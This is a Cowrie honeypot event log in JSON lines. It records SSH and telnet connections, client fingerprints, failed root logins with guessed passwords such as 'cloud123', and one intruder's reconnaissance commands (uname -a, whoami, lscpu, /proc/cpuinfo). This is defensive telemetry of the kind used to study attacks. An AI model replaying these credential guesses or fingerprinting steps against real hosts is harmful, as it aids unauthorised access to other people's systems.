{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:10.847640Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:11.157961Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:11.161098Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:11.298480Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:11.612597Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:11.616495Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:11.754574Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:12.073028Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:12.076843Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:12.215383Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:12.539686Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:12.544522Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:12.683310Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:12.998597Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:13.002735Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:13.141271Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:13.458833Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:13.462271Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33068,"dst_ip":"10.17.0.5","dst_port":23,"session":"28257407096e","protocol":"telnet","message":"New connection: 64.227.101.30:33068 (10.17.0.5:23) [session: 28257407096e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:13.468220Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:13.599041Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:13.920033Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:13.923592Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:14.063355Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.1","message":"Connection lost after 13.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:14.070203Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.258875608444214,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:17.271684Z","src_ip":"68.183.198.12","session":"8a0dabddfc58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":58290,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c8c2db70053","protocol":"telnet","message":"New connection: 68.183.198.12:58290 (159.203.135.109:23) [session: 6c8c2db70053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:34.925635Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.108","src_port":64248,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce97d6d29957","protocol":"ssh","message":"New connection: 198.235.24.108:64248 (10.17.0.5:22) [session: ce97d6d29957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:46.224929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:47.294672Z","src_ip":"198.235.24.108","session":"ce97d6d29957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:48.500935Z","src_ip":"198.235.24.108","session":"ce97d6d29957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.216874837875366,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:50.684994Z","src_ip":"64.227.101.30","session":"28257407096e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":39948,"dst_ip":"10.17.0.5","dst_port":22,"session":"be9397cb248f","protocol":"ssh","message":"New connection: 78.40.217.56:39948 (10.17.0.5:22) [session: be9397cb248f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:55.235138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:55.240293Z","src_ip":"78.40.217.56","session":"be9397cb248f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:55.376543Z","src_ip":"78.40.217.56","session":"be9397cb248f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"infinity","message":"login attempt [root/infinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:55.956315Z","src_ip":"78.40.217.56","session":"be9397cb248f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:56.140326Z","src_ip":"198.235.24.108","session":"ce97d6d29957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:57.093833Z","src_ip":"78.40.217.56","session":"be9397cb248f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54920,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe932f437593","protocol":"telnet","message":"New connection: 64.227.101.30:54920 (10.17.0.5:23) [session: fe932f437593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:06.254909Z"}
{"eventid":"cowrie.session.closed","duration":0.006840944290161133,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:06.261630Z","src_ip":"64.227.101.30","session":"fe932f437593","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56850,"dst_ip":"10.17.0.5","dst_port":23,"session":"26b225a8c3e0","protocol":"telnet","message":"New connection: 64.227.101.30:56850 (10.17.0.5:23) [session: 26b225a8c3e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:07.816203Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55716,"dst_ip":"10.17.0.5","dst_port":23,"session":"f854e7cf1197","protocol":"telnet","message":"New connection: 64.227.101.30:55716 (10.17.0.5:23) [session: f854e7cf1197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:09.497766Z"}
{"eventid":"cowrie.session.closed","duration":0.016100645065307617,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:09.513718Z","src_ip":"64.227.101.30","session":"f854e7cf1197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56238,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a523c108a6e","protocol":"telnet","message":"New connection: 64.227.101.30:56238 (10.17.0.5:23) [session: 9a523c108a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:09.645071Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57858,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ab55369f11f","protocol":"telnet","message":"New connection: 64.227.101.30:57858 (10.17.0.5:23) [session: 9ab55369f11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:12.004020Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":36226,"dst_ip":"159.203.135.109","dst_port":23,"session":"756d28548105","protocol":"telnet","message":"New connection: 68.183.198.12:36226 (159.203.135.109:23) [session: 756d28548105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:18.323637Z"}
{"eventid":"cowrie.session.closed","duration":47.867883920669556,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:22.793403Z","src_ip":"68.183.198.12","session":"6c8c2db70053","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60696,"dst_ip":"10.17.0.5","dst_port":23,"session":"dadf27b33e0b","protocol":"telnet","message":"New connection: 64.227.101.30:60696 (10.17.0.5:23) [session: dadf27b33e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:22.940068Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54032,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e8ff6b4e4de","protocol":"telnet","message":"New connection: 64.227.101.30:54032 (10.17.0.5:23) [session: 5e8ff6b4e4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:29.213055Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":47083,"dst_ip":"10.17.0.5","dst_port":22,"session":"2de1f66b9008","protocol":"ssh","message":"New connection: 49.247.36.49:47083 (10.17.0.5:22) [session: 2de1f66b9008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:31.130368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:31.135468Z","src_ip":"49.247.36.49","session":"2de1f66b9008","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:31.340950Z","src_ip":"49.247.36.49","session":"2de1f66b9008","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cloud123","message":"login attempt [root/cloud123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:32.196311Z","src_ip":"49.247.36.49","session":"2de1f66b9008","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:33.405140Z","src_ip":"49.247.36.49","session":"2de1f66b9008","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.445301532745361,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:35.658237Z","src_ip":"64.227.101.30","session":"5e8ff6b4e4de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55980,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5a848a99966","protocol":"telnet","message":"New connection: 64.227.101.30:55980 (10.17.0.5:23) [session: f5a848a99966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:36.125806Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60918,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ef1387c6297","protocol":"telnet","message":"New connection: 64.227.101.30:60918 (10.17.0.5:23) [session: 2ef1387c6297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:38.180819Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":39262,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4f53a5ab49f","protocol":"telnet","message":"New connection: 68.183.198.12:39262 (159.203.135.109:23) [session: a4f53a5ab49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:40.200750Z"}
{"eventid":"cowrie.session.closed","duration":120.0025851726532,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:42.867043Z","src_ip":"68.183.198.12","session":"51d665225bdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.172593355178833,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:44.298306Z","src_ip":"64.227.101.30","session":"f5a848a99966","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.17374634742737,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:45.989780Z","src_ip":"64.227.101.30","session":"26b225a8c3e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37372,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e58b7e9dc02","protocol":"telnet","message":"New connection: 64.227.101.30:37372 (10.17.0.5:23) [session: 9e58b7e9dc02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:47.763561Z"}
